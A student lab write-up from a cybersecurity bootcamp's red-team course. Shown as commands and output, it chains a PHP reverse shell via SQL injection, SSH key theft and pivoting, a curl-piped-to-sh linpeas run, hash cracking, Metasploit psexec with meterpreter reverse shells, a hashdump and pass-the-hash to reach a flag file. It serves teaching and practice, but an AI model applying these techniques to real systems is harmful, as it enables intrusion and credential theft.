

Penetration Testing Report

Cybersecurity Analytics Bootcamp

Engagement Contacts

Carlens Paul & Morgana Wilkes

Executive Summary

Objective

Perform a penetration test through multiple machines to find a file

Tools Used

Nmap - used to scan ports and find the ones that are opened

Php shell exec - used to generate a reverse shell

Nc listener - used to listen to the shell that was injected on the target

Ssh keys - used to connect to remote machines

Hashcat - used to crack windows1 machine password

Metasploit - used to connect to the windows machines

Penetration Test Findings

Summary

| Finding # | Severity | Finding Name |
|-----------|----------|-------------------------------|
| 1 | Medium ▾ | Alice-devops user |
| 2 | High ▾ | Ssh to open port |
| 3 | High ▾ | Found hash for Administrator |
| 4 | High ▾ | Found hash for Administrator2 |

Detailed Walkthrough

Step 1: Networking Scan

started the scan with nmap for all the ports on the subnet

```
(kali㉿kali)-[~]  
$ nmap -p- 172.31.34.0/20  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-05 14:45 UTC
```

```
(kali㉿kali)-[~]  
$ nmap -p- 172.31.34.0/20  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-05 15:04 UTC  
Nmap scan report for ip-172-31-32-54.us-west-2.compute.internal (172.31.32.54)  
Host is up (0.00038s latency).  
Not shown: 65533 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
8443/tcp   open  https-alt  
  
Nmap scan report for ip-172-31-32-137.us-west-2.compute.internal (172.31.32.137)  
Host is up (0.00023s latency).  
Not shown: 65532 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
1013/tcp   open  unknown  
8443/tcp   open  https-alt  
  
Nmap scan report for ip-172-31-32-156.us-west-2.compute.internal (172.31.32.156)  
Host is up (0.00050s latency).  
Not shown: 65533 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
2222/tcp   open  EtherNetIP-1  
8443/tcp   open  https-alt  
  
Nmap scan report for ip-172-31-34-120.us-west-2.compute.internal (172.31.34.120)  
Host is up (0.00010s latency).  
Not shown: 65533 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
8443/tcp   open  https-alt  
  
Nmap done: 4096 IP addresses (4 hosts up) scanned in 108.96 seconds
```

Port 1013 is running Apache 2.4.52

Step 2: Initial Compromise

i used a website to generate a php shell and run it with SQL injection on the target ip website

Server: 127.0.0.53
Address: 127.0.0.53#53

Name: localhost
Address: 127.0.0.1
Name: localhost
Address: ::1

```

$ nc -l -p 4444
listening on [any] 4444 ...
connect to [172.31.34.120] from (UNKNOWN) [172.31.32.137] 42884

```

While in the shell i spawned up a web server to download the ssh keys onto my kali machine

```

python3 -m http.server
172.31.34.120 - - [05/Apr/2023 21:21:21] "GET / HTTP/1.1" 200 -
172.31.34.120 - - [05/Apr/2023 21:21:21] code 404, message File not found
172.31.34.120 - - [05/Apr/2023 21:21:21] "GET /favicon.ico HTTP/1.1" 404 -
172.31.34.120 - - [05/Apr/2023 21:21:27] "GET /id_rsa.pem HTTP/1.1" 200 -
172.31.34.120 - - [05/Apr/2023 21:21:32] "GET /id_rsa.pem.pub HTTP/1.1" 200 -
172.31.34.120 - - [05/Apr/2023 21:24:47] "GET / HTTP/1.1" 200 -

```

Step 3: Pivoting

I use ssh -i to connect to the machine running ssh on port 2222

```

root@kali: ~/home/kali/Downloads
$ ssh -i id_rsa.pem alice-devops@172.31.32.156 -p 2222
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-1022-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed Apr  5 22:22:40 UTC 2023

System load:  0.240234375   Processes:            210
Usage of /:   29.3% of 19.20GB Users logged in:      0
Memory usage: 21%          IPv4 address for ens5: 172.31.32.156
Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
 * compliance features.
 * https://ubuntu.com/aws/pro

317 updates can be applied immediately.
113 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Thu Nov  3 21:08:46 2022 from 172.31.1.21
alice-devops@ubuntu22:~$

```

Step 4: System Reconnaissance

Ran linpeas to check for privilege escalation and found this file

```

alice-devops@ubuntu22:/opt/linuxprivchecker$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

```

```
#This script logs into Windows systems as the Administrator user and runs system updates on them
#Note: The password field in this .sh script contains an MD5 hash of a password used to log into Windows systems as Administrator
#I hope nobody cracks it!

username=Administrator
password=00bfc8c729f5d4d529a412b12c58ddd2
```

Step 5: Password Cracking

Using hashcat to crack the password. It was revealed

```
00bfc8c729f5d4d529a412b12c58ddd2:pokemon
```

Step 6: Metasploit

Using the command msfconsole to look up psexec exploit for windows

```
msf6 > search psexec

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/scanner/smb/impacket/dcomexec  2018-03-19      normal No     DCOM Exec
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command    2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/psexec_loggedin_users 1999-01-01      normal No     Microsoft Windows Authenticated Logged In Users Enumeration
4  exploit/windows/smb/psexec              1999-01-01      manual No     Microsoft Windows Authenticated User Code Execution
5  auxiliary/admin/smb/psexec_ntdsgrab      1999-01-01      normal No     PsExec NTDS.dit And SYSTEM Hive Download Utility
6  exploit/windows/local/current_user_psexec 1999-01-01      excellent No     PsExec via Current User Token
7  encoder/x86/service                     1999-01-01      manual No     Register Service
8  auxiliary/scanner/smb/impacket/wmiexec   2018-03-19      normal No     WMI Exec
9  exploit/windows/smb/webexec              2018-10-24      manual No     WebExec Authenticated User Code Execution
10 exploit/windows/local/wmi                1999-01-01      excellent No     Windows Management Instrumentation (WMI) Remote Command Execution
```

Used option 4 and set the options as follow and ran

```
Name      Current Setting  Required  Description
-----
RHOSTS    172.31.69.98    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445             yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no            Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no            The service display name
SERVICE_NAME  no            The service name
SMBDomain  .               no        The Windows domain to use for authentication
SMBPass    pokemon        no        The password for the specified username
SMBShare   no             no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser    Administrator   no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-----
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     172.31.34.120   yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  ---
0   Automatic
```

Once connected i ran "ps" to list the Process running and migrated to one that was running under "SYSTEM"

```
2500 680 WmiPrvSE.exe      x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe
2588 1788 dcvagent.exe      x64 0 NT AUTHORITY\SYSTEM          C:\Program Files\NICE\DCV\Server\bin\dcvagent.exe
2596 1788 dcvagent.exe      x64 1 NT AUTHORITY\SYSTEM          C:\Program Files\NICE\DCV\Server\bin\dcvagent.exe
```

Then i dumped the hash to reveal an account named "Administrator2"

```
meterpreter > migrate 2596
[*] Migrating from 1512 to 2596 ...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa0969ce61a2e254b7fb2a44e1d5ae7a:::
Administrator2:1009:aad3b435b51404eeaad3b435b51404ee:e1342bfae5fb061c12a02caf21d3b5ab:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
fstack:1008:aad3b435b51404eeaad3b435b51404ee:0cc79cd5401055d4732c9ac4c8e0cfed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
```

Step 7: Passing the Hash

On a new terminal i run the previous exploit again with the new SMBUser and the hashed of Administrator 2 with IP of machine 2

```
Module options (exploit/windows/smb/psexec):
```

| Name | Current Setting | Required | Description |
|----------------------|---|----------|---|
| RHOSTS | 172.31.64.71 | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 445 | yes | The SMB service port (TCP) |
| SERVICE_DESCRIPTION | | no | Service description to to be used on target pretty listing |
| SERVICE_DISPLAY_NAME | | no | The service display name |
| SERVICE_NAME | | no | The service name |
| SMBDomain | | no | The Windows domain to use for authentication |
| SMBPass | aad3b435b51404eeaad3b435b51404ee:e1342bfae5fb061c12a02caf21d3b5ab | no | The password for the specified username |
| SMBSHARE | | no | The share to connect to, can be an admin share (ADMIN\$,C\$, ...) or a normal read/write folder |
| SMBUser | Administrator2 | no | The username to authenticate as |

```
Payload options (windows/meterpreter/reverse_tcp):
```

| Name | Current Setting | Required | Description |
|----------|-----------------|----------|---|
| EXITFUNC | thread | yes | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST | 172.31.34.120 | yes | The listen address (an interface may be specified) |
| LPORT | 4444 | yes | The listen port |

Step 8: Finding sensitive files

Within meterpreter u can search files using “search -f <file name>” so i used it to search secrets.txt

```
meterpreter > search -f secrets.txt
Found 1 result ...
```

| Path | Size (bytes) | Modified (UTC) |
|------------------------------|--------------|---------------------------|
| c:\Windows\debug\secrets.txt | 55 | 2022-11-05 22:01:13 +0000 |

After navigating through the path i opened the file to reveal the message

```
meterpreter > search -f secrets.txt
Found 1 result ...

Path                               Size (bytes)  Modified (UTC)
c:\Windows\debug\secrets.txt      55            2022-11-05 22:01:13 +0000

meterpreter > pwd
C:\Windows\system32
meterpreter > cd ..
meterpreter > pwd
C:\Windows
meterpreter > cd debug
meterpreter > ls
Listing: C:\Windows\debug

Mode                Size      Type    Last modified          Name
-----
100666/rw-rw-rw-   0         fil     2023-04-05 22:41:45 +0000 PASSWD.LOG
100666/rw-rw-rw- 63532     fil     2022-08-10 05:12:16 +0000 mrt.log
100666/rw-rw-rw- 10913     fil     2022-08-19 18:29:28 +0000 sammui.log
100666/rw-rw-rw-  55         fil     2022-11-05 22:01:13 +0000 secrets.txt

meterpreter > cat secrets.txt
Congratulations! You have finished the red team course!meterpreter >
```